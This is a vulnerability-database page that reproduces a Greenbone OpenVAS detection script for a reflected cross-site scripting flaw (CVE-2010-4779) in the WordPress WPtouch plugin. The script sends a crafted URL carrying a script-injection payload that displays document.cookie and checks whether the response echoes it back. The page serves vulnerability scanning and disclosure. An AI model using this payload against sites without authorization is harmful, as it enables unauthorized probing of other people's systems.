Lucene search
+L

WordPress WPtouch Plugin < 3.1.1 'wptouch_settings' Parameter XSS Vulnerability - Active Check

🗓️ 11 Apr 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 23 Views

WordPress WPtouch Plugin < 3.1.1 XSS Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2010-4779
7 Apr 201114:00
cve
cvelist
Cvelist
CVE-2010-4779
7 Apr 201114:00
cvelist
euvd
EUVD
EUVD-2010-4744
7 Oct 202500:30
euvd
htbridge
htbridge
Cross-site Scripting (XSS) Vulnerability in WPTouch Wordpress Plugin
16 Nov 201000:00
htbridge
nvd
NVD
CVE-2010-4779
7 Apr 201114:23
nvd
patchstack
Patchstack
WordPress WPtouch Plugin <= 1.9.20 - XSS
7 Apr 201100:00
patchstack
prion
Prion
Cross site scripting
7 Apr 201114:23
prion
redhatcve
RedhatCVE
CVE-2010-4779
22 May 202501:21
redhatcve
wpvulndb
WPVulnDB
WPtouch 1.9.19.4 - Cross-Site Scripting (XSS)
1 Aug 201410:59
wpvulndb
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802014");
  script_version("2024-11-08T15:39:48+0000");
  script_tag(name:"last_modification", value:"2024-11-08 15:39:48 +0000 (Fri, 08 Nov 2024)");
  script_tag(name:"creation_date", value:"2011-04-11 14:40:00 +0200 (Mon, 11 Apr 2011)");
  script_cve_id("CVE-2010-4779");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress WPtouch Plugin < 3.1.1 'wptouch_settings' Parameter XSS Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_xref(name:"URL", value:"http://secunia.com/advisories/42438");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45139");
  script_xref(name:"URL", value:"http://www.htbridge.ch/advisory/xss_in_wptouch_wordpress_plugin.html");
  script_xref(name:"URL", value:"http://wordpress.org/extend/plugins/wptouch");

  script_tag(name:"summary", value:"The WordPress WPtouch plugin is prone to a cross-site scripting
  (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to input validation error in 'wptouch_settings'
  parameter to 'wp-content/plugins/wptouch/include/adsense-new.php', which is not properly sanitised
  before being returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  web script or HTML in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress WPtouch Plugin 1.9.19.4 and 1.9.20 are known to be
  affected. Other versions may also be affected.");

  script_tag(name:"solution", value:"Update to version 3.1.1 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-content/plugins/wptouch/include/adsense-new.php?wptouch_settings[adsense-id]=',};//--></script><script>alert(document.cookie);</script><!--";

if(http_vuln_check(port:port, url:url, pattern:"><script>alert\(document\.cookie\);</script><!--", check_header:TRUE)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Nov 2024 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 24.3
EPSS0.01901
23